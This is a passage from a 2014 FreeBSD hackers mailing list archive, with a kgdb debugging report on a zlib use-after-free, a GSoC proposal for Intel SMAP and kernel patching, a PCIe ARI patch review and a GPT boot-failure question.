TEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkqhkiG9w0BCQEWIGN1c3Rv bWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0MB4XDTEzMDgyNDE5MDM0NFoXDTE4MDgyMzE5 MDM0NFowWzELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFzAVBgNVBAMTDkthcmwg RGVubmluZ2VyMSEwHwYJKoZIhvcNAQkBFhJrYXJsQGRlbm5pbmdlci5uZXQwggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQC5n2KBrBmG22nVntVdvgKCB9UcnapNThrW1L+dq6th d9l4mj+qYMUpJ+8I0rTbY1dn21IXQBoBQmy8t1doKwmTdQ59F0FwZEPt/fGbRgBKVt3Quf6W 6n7kRk9MG6gdD7V9vPpFV41e+5MWYtqGWY3ScDP8SyYLjL/Xgr+5KFKkDfuubK8DeNqdLniV jHo/vqmIgO+6NgzPGPgmbutzFQXlxUqjiNAAKzF2+Tkddi+WKABrcc/EqnBb0X8GdqcIamO5 SyVmuM+7Zdns7D9pcV16zMMQ8LfNFQCDvbCuuQKMDg2F22x5ekYXpwjqTyfjcHBkWC8vFNoY 5aFMdyiN/Kkz0/kduP2ekYOgkRqcShfLEcG9SQ4LQZgqjMpTjSOGzBr3tOvVn5LkSJSHW2Z8 Q0dxSkvFG2/lsOWFbwQeeZSaBi5vRZCYCOf5tRd1+E93FyQfpt4vsrXshIAk7IK7f0qXvxP4 GDli5PKIEubD2Bn+gp3vB/DkfKySh5NBHVB+OPCoXRUWBkQxme65wBO02OZZt0k8Iq0i4Rci WV6z+lQHqDKtaVGgMsHn6PoeYhjf5Al5SP+U3imTjF2aCca1iDB5JOccX04MNljvifXgcbJN nkMgrzmm1ZgJ1PLur/ADWPlnz45quOhHg1TfUCLfI/DzgG7Z6u+oy4siQuFr9QT0MQIDAQAB o4HWMIHTMAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgWgMAsGA1UdDwQEAwIF4DAsBglg hkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHw4 +LnuALyLA5Cgy7T5ZAX1WzKPMB8GA1UdIwQYMBaAFF3U3hpBZq40HB5VM7B44/gmXiI0MDgG CWCGSAGG+EIBAwQrFilodHRwczovL2N1ZGFzeXN0ZW1zLm5ldDoxMTQ0My9yZXZva2VkLmNy bDANBgkqhkiG9w0BAQUFAAOCAQEAZ0L4tQbBd0hd4wuw/YVqEBDDXJ54q2AoqQAmsOlnoxLO 31ehM/LvrTIP4yK2u1VmXtUumQ4Ao15JFM+xmwqtEGsh70RRrfVBAGd7KOZ3GB39FP2TgN/c L5fJKVxOqvEnW6cL9QtvUlcM3hXg8kDv60OB+LIcSE/P3/s+0tEpWPjxm3LHVE7JmPbZIcJ1 YMoZvHh0NSjY5D0HZlwtbDO7pDz9sZf1QEOgjH828fhtborkaHaUI46pmrMjiBnY6ujXMcWD pxtikki0zY22nrxfTs5xDWGxyrc/cmucjxClJF6+OYVUSaZhiiHfa9Pr+41okLgsRB0AmNwE f6ItY3TI8DGCBQowggUGAgEBMIGjMIGdMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlk YTESMBAGA1UEBxMJTmljZXZpbGxlMRkwFwYDVQQKExBDdWRhIFN5c3RlbXMgTExDMRwwGgYD VQQDExNDdWRhIFN5c3RlbXMgTExDIENBMS8wLQYJKoZIhvcNAQkBFiBjdXN0b21lci1zZXJ2 aWNlQGN1ZGFzeXN0ZW1zLm5ldAIBCDAJBgUrDgMCGgUAoIICOzAYBgkqhkiG9w0BCQMxCwYJ KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDAzMTkyMDA1MThaMCMGCSqGSIb3DQEJBDEW BBTfgwgsxdCQdy5L/zSZuFfH5re0SjBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIG0BgkrBgEEAYI3EAQxgaYwgaMwgZ0xCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoT EEN1ZGEgU3lzdGVtcyBMTEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkq hkiG9w0BCQEWIGN1c3RvbWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0AgEIMIG2BgsqhkiG 9w0BCRACCzGBpqCBozCBnTELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExEjAQBgNV BAcTCU5pY2V2aWxsZTEZMBcGA1UEChMQQ3VkYSBTeXN0ZW1zIExMQzEcMBoGA1UEAxMTQ3Vk YSBTeXN0ZW1zIExMQyBDQTEvMC0GCSqGSIb3DQEJARYgY3VzdG9tZXItc2VydmljZUBjdWRh c3lzdGVtcy5uZXQCAQgwDQYJKoZIhvcNAQEBBQAEggIAM2TYYaoO8DnBppiVZEPW3wBibegI TG/UN+f7CTuiH1sPdzm0rlvD4Sdffb6wDbeF2MjX5k9bkr51AntJqBHY1gMcduDCPWnqtv2x ODrcxBpI+l5qS2nMgyoyTjbubjGrGHh/6a9AUOBDAzHur1YcwGQeVr0H1WZDINbANgZNcgvW MunexwOHd3V+9Xh/WaZHbvPd6UfgLaQpQosKWFhno00FOKjWMIJ0lUKyO2pQEvhwMdGyRb9N o79pKBzWVnq2YROJ0ih4BhQPMS4WGxqHfJBPeVNHM5e5Q6dfOWJuQjPEaAq2/mz8xBWodGBm CVpZYXx90s9RPXZmtxckGB/ONOs20exJdQ88BK9XUZqSuNOYosFpYtMsCiyOX8gdu5W8kL2f svk5E9NQY1i8di3YPN52r/HHqr57WzVvltaBXItNVhQvD1UVPq4lTp6/AWY2JhxaYD7jXEz1 mXTK2yqomS+VaZuGkbFl2DLnW+cOSqGb7qX+OQYEL02v4hHoK7iaDc2T9ku/Fi6MXhwND0LM 2dkHgeNh3S7a4CgBwJYZZFXsi+h2cNIBSVHCDymY/F/wyikrVcTOyT7xjOSQiTRK68DQrI15 SyW7xSeANVn3A9iZsO5GsZvNvNRVj/moK2mQrxxNy7QUQfWy3e8Y4DJSv6Vuz/0es9xrJYgz V6UDEfMAAAAAAAA= --------------ms050104020404010300040109-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 00:40:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A6073E6C for ; Thu, 20 Mar 2014 00:40:11 +0000 (UTC) Received: from mx11.netapp.com (mx11.netapp.com [216.240.18.76]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 889D46B3 for ; Thu, 20 Mar 2014 00:40:11 +0000 (UTC) X-IronPort-AV: E=Sophos;i="4.97,690,1389772800"; d="scan'208,217";a="110728859" Received: from vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) by mx11-out.netapp.com with ESMTP; 19 Mar 2014 17:40:10 -0700 Received: from SACEXCMBX04-PRD.hq.netapp.com ([169.254.6.187]) by vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) with mapi id 14.03.0123.003; Wed, 19 Mar 2014 17:40:10 -0700 From: "Gumpula, Suresh" To: "freebsd-hackers@freebsd.org" Subject: Use after free in sys/net/zlib.c code Thread-Topic: Use after free in sys/net/zlib.c code Thread-Index: Ac9D0pGtfoVDvgwwQPC/7fto2jHQ8A== Date: Thu, 20 Mar 2014 00:40:09 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.106.53.53] MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 00:40:11 -0000 Hi Zlib experts, I am trying to debug a corruption in zlib code. I have enabled the memguard= (9) for 'geom_uzip' malloc type and is faulting all the time while booting as shown below. I have changed the memguard fre= e() code to save the PC info of who freed, and it shows that a buffer was freed from inflate_blocks --> inflate_codes_free()->ZFREE(). And it seems we are u= sing in inflate_blocks after it was already freed. Please see my debug analysis. Can someone who has better understanding of z= lib code throw some lights on this ? Is this a known issue and fixed recen= tly ? (kgdb-amd64-7.4-08) bt #0 breakpoint () at ./machine/cpufunc.h:64 #1 0xffffffff803e6572 in kdb_enter (why=3D0xffffffff806fd681 "panic", msg= =3D0xffffffff806fd681 "panic") at ../../../../sys/kern/subr_kdb.c:367 #2 0xffffffff803a3eb4 in panic (fmt=3D0xffffffff8075d580 "page fault (%s %= s %s, %s) on VA %#lx cs:rip %#lx:%#lx rflags %#lx") at ../../../../sys/kern= /kern_shutdown.c:1010 #3 0xffffffff8060edf0 in trap_fatal (frame=3D0xffffff802094f890, eva=3D184= 46743523955920960) at ../../../../sys/amd64/amd64/trap.c:999 #4 0xffffffff8060e4a7 in trap_pfault (frame=3D0xffffff802094f890, usermode= =3D0) at ../../../../sys/amd64/amd64/trap.c:824 #5 0xffffffff8060df4a in trap (frame=3D0xffffff802094f890) at ../../../../= sys/amd64/amd64/trap.c:595 #6 0xffffffff805e6009 in () at ../../../../sys/amd= 64/amd64/exception.S:253 #7 0xffffffff804adcb7 in inflate_blocks (s=3D0xffffff8000211000, z=3D0xfff= fff802094fa80, r=3D0) at ../../../../sys/net/zlib.c:3856 #8 0xffffffff804ac816 in inflate_ppp (z=3D0xffffff802094fa80, f=3D5) at ..= /../../../sys/net/zlib.c:3263 #9 0xffffffff80330eb3 in g_uzip_done (bp=3D0xffffff00034f2400) at ../../..= /../sys/geom/uzip/g_uzip.c:177 #10 0xffffffff8044b1e5 in biodone (bp=3D0xffffff00034f2400) at ../../../../= sys/kern/vfs_bio.c:3137 #11 0xffffffff8032204a in g_io_schedule_up (tp=3D0xffffff000317a820) at ../= ../../../sys/geom/geom_io.c:676 #12 0xffffffff8032264a in g_up_procbody () at ../../../../sys/geom/geom_ker= n.c:95 #13 0xffffffff803663f5 in fork_exit (callout=3D0xffffffff803225c0 , arg=3D0x0, frame=3D0xffffff802094fc80) at ../../../../sys/kern/kern= _fork.c:1063 (kgdb-amd64-7.4-08) f 7 #7 0xffffffff804adcb7 in inflate_blocks (s=3D0xffffff8000211000, z=3D0xfff= fff802094fa80, r=3D0) at ../../../../sys/net/zlib.c:3856 3856 s->sub.trees.blens[border[s->sub.trees.index++]] =3D (uInt)= b & 7; (kgdb-amd64-7.4-08) p s->sub.trees.blens $10 =3D (uIntf *) 0xffffff8000215000 (kgdb-amd64-7.4-08) p panicstr $11 =3D 0xffffffff80a8e560 "page fault (supervisor write data, protection v= iolation) on VA 0xffffff8000215040 cs:rip 0x20:0xffffffff804adcb7 rflags 0x= 10206" (kgdb-amd64-7.4-08) x/100 0xffffff8000215040 0xffffff8000215040: 0x804b0b06 0x804b0b06 0x804ae542 0xf= fffffff 0xffffff8000215050: 0x804b0b06 0x804b0b06 0x804ae542 0xf= fffffff ## stack trace of last free() 0xffffff8000215060: 0x804b0b06 0x804b0b06 0x804ae542 0xf= fffffff (kgdb-amd64-7.4-08) l *0xffffffff804ae542 0xffffffff804ae542 is in inflate_blocks (../../../../sys/net/zlib.c:3969). 3964 UPDATE 3965 if ((r =3D inflate_codes(s, z, r)) !=3D Z_STREAM_END) 3966 return inflate_flush(s, z, r); 3967 r =3D Z_OK; 3968 inflate_codes_free(s->sub.decode.codes, z); 3969 inflate_trees_free(s->sub.decode.td, z); 3970 inflate_trees_free(s->sub.decode.tl, z); (kgdb-amd64-7.4-08) l *0xffffffff804b0b06 0xffffffff804b0b06 is in inflate_codes_free (../../../../sys/net/zlib.c:484= 6). 4841 inflate_codes_statef *c; 4842 z_streamp z; 4843 { 4844 ZFREE(z, c); 4845 Tracev((stderr, "inflate: codes free\n")); 4846 } And I see sometimes its faulting in huft_build() and it shows it was freed = from inflate_trees_free(). All the time, I see either of these two back traces faulting. kgdb-amd64-7.4-08) bt #0 breakpoint () at ./machine/cpufunc.h:64 #1 0xffffffff803e6572 in kdb_enter (why=3D0xffffffff806fd681 "panic", msg= =3D0xffffffff806fd681 "panic") at ../../../../sys/kern/subr_kdb.c:367 #2 0xffffffff803a3eb4 in panic (fmt=3D0xffffffff8075d580 "page fault (%s %= s %s, %s) on VA %#lx cs:rip %#lx:%#lx rflags %#lx") at ../../../../sys/kern= /kern_shutdown.c:1010 #3 0xffffffff8060edf0 in trap_fatal (frame=3D0xffffff802094f200, eva=3D184= 46743523955908616) at ../../../../sys/amd64/amd64/trap.c:999 #4 0xffffffff8060e4a7 in trap_pfault (frame=3D0xffffff802094f200, usermode= =3D0) at ../../../../sys/amd64/amd64/trap.c:824 #5 0xffffffff8060df4a in trap (frame=3D0xffffff802094f200) at ../../../../= sys/amd64/amd64/trap.c:595 #6 0xffffffff805e6009 in () at ../../../../sys/amd= 64/amd64/exception.S:253 #7 0xffffffff804af203 in huft_build (b=3D0xffffff8002f0f000, n=3D276, s=3D= 257, d=3D0xffffffff807255c0, e=3D0xffffffff80725640, t=3D0xffffff8000212008= , m=3D0xffffff802094f9f8, zs=3D0xffffff802094fa80) at ../../../../sys/net/z= lib.c:4346 #8 0xffffffff804af5c5 in inflate_trees_dynamic (nl=3D284, nd=3D28, c=3D0xf= fffff8002f0f000, bl=3D0xffffff802094f9f8, bd=3D0xffffff802094f9f4, tl=3D0xf= fffff802094f9c8, td=3D0xffffff802094f9c0, z=3D0xffffff802094fa80) at ../../= ../../sys/net/zlib.c:4435 #9 0xffffffff804ae2d4 in inflate_blocks (s=3D0xffffff8002f06000, z=3D0xfff= fff802094fa80, r=3D0) at ../../../../sys/net/zlib.c:3933 #10 0xffffffff804ac816 in inflate_ppp (z=3D0xffffff802094fa80, f=3D5) at ..= /../../../sys/net/zlib.c:3263 #11 0xffffffff80330eb3 in g_uzip_done (bp=3D0xffffff0003492700) at ../../..= /../sys/geom/uzip/g_uzip.c:177 #12 0xffffffff8044b1e5 in biodone (bp=3D0xffffff0003492700) at ../../../../= sys/kern/vfs_bio.c:3137 #13 0xffffffff8032204a in g_io_schedule_up (tp=3D0xffffff000317a820) at ../= ../../../sys/geom/geom_io.c:676 #14 0xffffffff8032264a in g_up_procbody () at ../../../../sys/geom/geom_ker= n.c:95 #15 0xffffffff803663f5 in fork_exit (callout=3D0xffffffff803225c0 , arg=3D0x0, frame=3D0xffffff802094fc80) at ../../../../sys/kern/kern= _fork.c:1063 (kgdb-amd64-7.4-08) p panicstr $2 =3D 0xffffffff80a8e560 "page fault (supervisor write data, protection vi= olation) on VA 0xffffff8000212008 cs:rip 0x20:0xffffffff804af203 rflags 0x1= 0282" (kgdb-amd64-7.4-08) x/100 0xffffff8000212008 0xffffff8000212008: 0x804ae25a 0xffffffff 0x804af9aa 0x8= 04af9aa ## Stack trace of last free() 0xffffff8000212018: 0x804ae25a 0xffffffff 0x804af9aa 0x8= 04af9aa (kgdb-amd64-7.4-08) l *0xffffffff804ae25a 0xffffffff804ae25a is in inflate_blocks (../../../../sys/net/zlib.c:3921). 3916 } while (--j); 3917 s->sub.trees.index =3D i; 3918 } 3919 } 3920 inflate_trees_free(s->sub.trees.tb, z); 3921 s->sub.trees.tb =3D Z_NULL; 3922 { (kgdb-amd64-7.4-08) l *0xffffffff804af9aa 0xffffffff804af9aa is in inflate_trees_free (../../../../sys/net/zlib.c:457= 4). 4569 /* Go through linked list, freeing from the malloced (t[-1]) addr= ess. */ 4570 while (p !=3D Z_NULL) 4571 { 4572 q =3D (--p)->next; 4573 ZFREE(z,p); Thank you! From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 10:16:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DD72FFF; Thu, 20 Mar 2014 10:16:35 +0000 (UTC) Received: from mail-ob0-x22f.google.com (mail-ob0-x22f.google.com [IPv6:2607:f8b0:4003:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E465EE60; Thu, 20 Mar 2014 10:16:34 +0000 (UTC) Received: by mail-ob0-f175.google.com with SMTP id uy5so630132obc.20 for ; Thu, 20 Mar 2014 03:16:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:cc:content-type; bh=max8SKPVx5LBgk9Inxv4MDDUPFjDi3d6Ih/klvi0v4I=; b=k7JHzgoFZELMBnA0mIDKDRXK0HTBgiF2M9Sbx9/yhgI8ci9vqJpCjTBM/5cGVEsZOS hNlNObJXTySxZoNLgjVHRzcceLNIimYdBkigh1Sdw3CP4CMZvE2s+IeUKNF5Vv4GNRwX emP8My2Mhb1JC5G6ksqJySejDrNUxG9MLVJJxZ+hh2J9FFfrSYzLcJSzexniMZ4fQL78 FsyrYqWz+Ml74JFXsrLVu79sRFk4h/0y5IdX7deXJy2QDzXp4f5ShH88umcNRuG9IgQi Itzc2ooXKyT7CfFy8qnwvkIyDMY9CbwPqqyoOFyEEXn8tPJHSQ9wn+G1byTllnsb+T/Z K5zg== MIME-Version: 1.0 X-Received: by 10.182.16.33 with SMTP id c1mr6437202obd.4.1395310593726; Thu, 20 Mar 2014 03:16:33 -0700 (PDT) Received: by 10.182.80.7 with HTTP; Thu, 20 Mar 2014 03:16:33 -0700 (PDT) Date: Thu, 20 Mar 2014 11:16:33 +0100 Message-ID: Subject: GSoC proposal: Implement Intel SMAP and kernel patching framework From: Oliver Pinter To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: gavin@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 10:16:35 -0000 Hi All! Below is my proposal: Organization: FreeBSD Short description: In first phase, I want to implement the Intel SMAP (Supervisor Mode Access Prevention) technology for x86-64 architecture. In second phase, I plan to implement boot/load time kernel and kernel module patching (instruction patching) framework. * General Information: ** e-mail: oliver.pntr AT gmail.com ** phone: XX ** IRC: _op_@OFTC ** IRC: _op_@EFNet ** IRC: _op_@irc.atw.hu ** linkedin: http://hu.linkedin.com/in/oliverpinter/ ** availability: ~30 hrs/week * Biography: I am Oliver Pinter, an MSc student from Budapest University of Technology and Economics (BUTE). I'm on Specialization on Security of Telecommunication Systems at Crysys Labratory. In 2008 I maintained stable linux kernel tree: http://repo.or.cz/w/linux-2.6.22.y-op.git . In Bsc thesis I investigated some aspects of Intel SMAP with contact of Intel (See linkedin or google://freebsd+intel+smap). Currently I am part of BUTE's Crysys Labratory (www.crysys.hu) . * Short Description: ** In first phase, I want to implement the Intel SMAP (Supervisor Mode Access Prevention) technology for x86-64 architecture. In second phase, I plan to implement boot/load time kernel and kernel module patching framework. * Project Title: ** Implement Intel SMAP and kernel patching framework * Project Description: ** Intel SMAP is a hardware extension to support advanced kernel self-protection. The SMAP technology will prevent unintended data access from kernel to userland memory. The technology will appear in Intel Broadwell architecture in 2014Q2/Q3. Currently there is an emulator - namely Qemu with TCG - which supports this technology. ** Runtime kernel/kernel module patching is required, otherwise the processor will fail when processing unknown instruction. Newer processors introducing newer instructions which didn't exist on older one. To solve this situation this framework makes the kernel and kernel modules self-modifiable in common way. ** http://software.intel.com/sites/default/files/319433-014.pdf ** http://forums.grsecurity.net/viewtopic.php?f=7&t=3046 ** https://lwn.net/Articles/517475/ * Deliverables: ** phase #1: - Improved security of FreeBSD kernel in future x86-64 processors ** phase #2: - generic framework for boot-time/runtime kernel image and kernel modules patching - elliminate hackish "manual" instruction patching: http://svnweb.freebsd.org/base/head/sys/amd64/amd64/cpu_switch.S?r1=238450&r2=238449&pathrev=238450 * Test Plan: ** phase #1 - SMAP: - create a VM image - write vulnerable kernel module and PoC, and test - test in qemu with SMAP emulation ** phase #2 - kernel patching: - create a VM image - boot test in qemu - kernel module test in qemu - test in qemu with enabled SMAP - test on real hardware with XSAVE/XSAVEOPT - stress test * Schedule: **phase #1: May 19 - May 25: update Intel SMAP knowledege May 26 - June 8: update relevant FreeBSD kernel knowledge June 9 - June 15: implement/refine trap handler and add/refine required code to relevant parts of kernel June 16 - June 22: test and fix * phase #2: June 13 - June 29: identify the required places to modify in booting process and kernel module loading process June 30 - July 6: design the kernel patching framework July 7 - July 20: implement the kernel patching framework July 21 - July 27: adapt XSAVE and SMAP instructions to new framework July 28 - EoC: test, test, fix, test 0 comments From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 16:47:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 15EA11FB for ; Thu, 20 Mar 2014 16:47:05 +0000 (UTC) Received: from mail-qc0-x22c.google.com (mail-qc0-x22c.google.com [IPv6:2607:f8b0:400d:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C877CEE2 for ; Thu, 20 Mar 2014 16:47:04 +0000 (UTC) Received: by mail-qc0-f172.google.com with SMTP id i8so1338685qcq.31 for ; Thu, 20 Mar 2014 09:47:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=lY2yj8BRTnjQ2243AsIZVDxaFEO1XMrinHNJMZFFmB0=; b=A+ltjvPkpXE7RHcnGxCMnRszLd9ADAraBvhiAXBzWr+2W1GX9MtEgVYN1MP7vTodOZ zk58RAwqHEVFmRQ/B8ZEmQZrWmXcaKRnKfDvVJuwNp/aUHLmimuclbOcKizntjDfednK QQvHP6b/yDexizGfpROjs7aAoVxfHA+QqfNNNoDokViyoiwhyEYOLKqRoPgbuSHWhIMy uoJAAYWsCyoeAOhuf0iiiKLtrR5Ack9nRWMr0JfDE24YwJJ0LVRsiofk6PJYabccpiLM +vwCKspqYCRtdL335dv7TO1Yp5uHYZecsfcWKA8yBfX3dWZwReqz5tE/ZZ5XOQVvonLS BDKg== MIME-Version: 1.0 X-Received: by 10.140.23.52 with SMTP id 49mr49302831qgo.17.1395334024012; Thu, 20 Mar 2014 09:47:04 -0700 (PDT) Received: by 10.140.87.74 with HTTP; Thu, 20 Mar 2014 09:47:03 -0700 (PDT) In-Reply-To: References: <20140316141216.GA21331@kib.kiev.ua> Date: Thu, 20 Mar 2014 09:47:03 -0700 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Neel Natu To: Ryan Stone Content-Type: text/plain; charset=ISO-8859-1 Cc: Konstantin Belousov , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 16:47:05 -0000 Hi Ryan, On Tue, Mar 18, 2014 at 10:51 AM, Ryan Stone wrote: > On Mon, Mar 17, 2014 at 5:20 PM, Neel Natu wrote: >> Hi Ryan, >> In any case it seems that the VT-d implementation in bhyve will work >> fine with ARI enabled devices. > > There was an assert that would trip for the function number being > greater than 8. > > > I've put together the following patch series: > > http://people.freebsd.org/~rstone/patches/ari/0001-Add-a-method-to-get-the-PCI-RID-for-a-device.patch > > This adds a method to get the RID that will be consumed by the VT-d > drivers. This patch is non-ARI only. > > > http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-I-O-MMU-code-in-terms-of-PCI-R.patch > > This reworks the busdma DMAR code to work in terms of RIDs where > necessary. This should be a no-op. I tested this with > hw.dmar.enable=1 on a Nehalem with the em driver and a Sandy Bridge > with the igb and ixgbe driver and was able to pass traffic. > > > http://people.freebsd.org/~rstone/patches/ari/0003-Re-write-bhyve-s-I-O-MMU-handling-in-terms-of-PCI-RI.patch > > Same thing, but for bhyve. I'm not sure that passing the rid down to > the CPU-dependent layer is the right thing to do, because I'm not sure > what the AMD VT-d equivalent requires. Should I just pass down the > entire device_t and let the CPU layer deal with it? I tested loading > vmm.ko with a device assigned to the ppt driver but I didn't go as far > as starting a VM and using PCI passthrough. > The bhyve portion of the patch looks fine to me. A cursory read of the AMD IOMMU spec suggests that the translation table is indexed using the 16-bit RID so passing it into the CPU-dependent layer will work fine. best Neel > (Also, as you'd probably expected doing this with hw.dmar.enable=1 > causes all hell to break loose). > > > http://people.freebsd.org/~rstone/patches/ari/0004-Add-support-for-PCIe-ARI.patch > > This is a slightly reworked version of the previous patch. The main > difference are that there is a new implementation of pcib_get_rid that > understands ARI RIDs. I also fixed a bug where the default > implementation of pcib_numslots was not actually being used because I > misspelled DEFAULT as default in pcib_if.m. > > > http://people.freebsd.org/~rstone/patches/ari/0005-Print-status-of-ARI-capability-in-pciconf-c.patch > > This makes pciconf -c dump the status of ARI on PCIe downstream ports. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 17:00:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CAE92430 for ; Thu, 20 Mar 2014 17:00:34 +0000 (UTC) Received: from smtp3.mail.clearhost.co.uk (smtp3.mail.clearhost.co.uk [IPv6:2001:1420::25:103]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 7441BFE5 for ; Thu, 20 Mar 2014 17:00:34 +0000 (UTC) Received: from [2001:1420:a:104:1909:3187:736c:9d3b] (port=52873) by smtp3.mail.clearhost.co.uk with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WQgKU-000NEI-9l for freebsd-hackers@freebsd.org; Thu, 20 Mar 2014 17:00:30 +0000 Message-ID: <532B1EAC.8040407@prt.org> Date: Thu, 20 Mar 2014 17:00:28 +0000 From: Paul Thornton User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Changes between 9.1 and 9.2 affecting boot/loader/gpt discs Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 17:00:34 -0000 Hi all I have a slightly strange booting issue. We use Mac Minis internally for some servers and have an automated FreeBSD install for these - and so I'm quite familiar with a lot of the hoops that need jumping through to make this all work OK. We've been doing this since 8.3 without any issues. Our current OS was/is 9.1-RELEASE (amd64) and I was doing some tests to update our installer to install 10.0. However, I quickly found these 10.0 machines wouldn't boot; so tested with 9.2 which also shows the same problem. The boot process does an MBR-based boot with GPT partitions; and all of this works fine for me with 8.x and 9.1. With 9.2 it gets as far as loading the loader, and then stops unable to load the kernel. A bit of investigation shows that 'lsdev' only displays the physical discs here, but doesn't show any partitions. So that kind of explains the kernel not loading. See: http://www.prt.org/temp/92boot.png On a 9.1 installed machine, it boots OK - and if the boot process is interrupted at this point, 'lsdev' shows the logical GPT entries fine (including the one it is about to load the kernel from). See: http://www.prt.org/temp/91boot.png (Apologies for pictures, making it boot to a USB serial console is a level of pain I don't want to put myself through). If I then put a USB stick in with a 9.2 memstick image on it, and allow the same 9.2 installed machine (that won't boot itself) to boot to a live FS from USB, it boots fine and I can see all of the GPT partitions on the disc that it refuses to boot itself from. I've checked the sources for the loader and they are identical between 9.1 and 9.2 - however something must be different here. Can anyone think of something that changed post 9.1-RELEASE that might be breaking this? Here is a 'gpart show' from a working 9.1 machine after installation: > => 34 976773101 ada0 GPT (465G) > 34 6 - free - (3.0k) > 40 409600 1 efi (200M) > 409640 974724960 2 freebsd-ufs (464G) > 975134600 1638535 - free - (800M) > > => 0 974724960 ada0p2 BSD (464G) > 0 4194304 1 freebsd-ufs (2.0G) > 4194304 8388608 2 freebsd-swap (4.0G) > 12582912 33554432 4 freebsd-ufs (16G) > 46137344 2097152 5 freebsd-ufs (1.0G) > 48234496 926490464 6 freebsd-ufs (441G) Here is a 'gpart show' from the 9.2 machine after successfully booting it from a 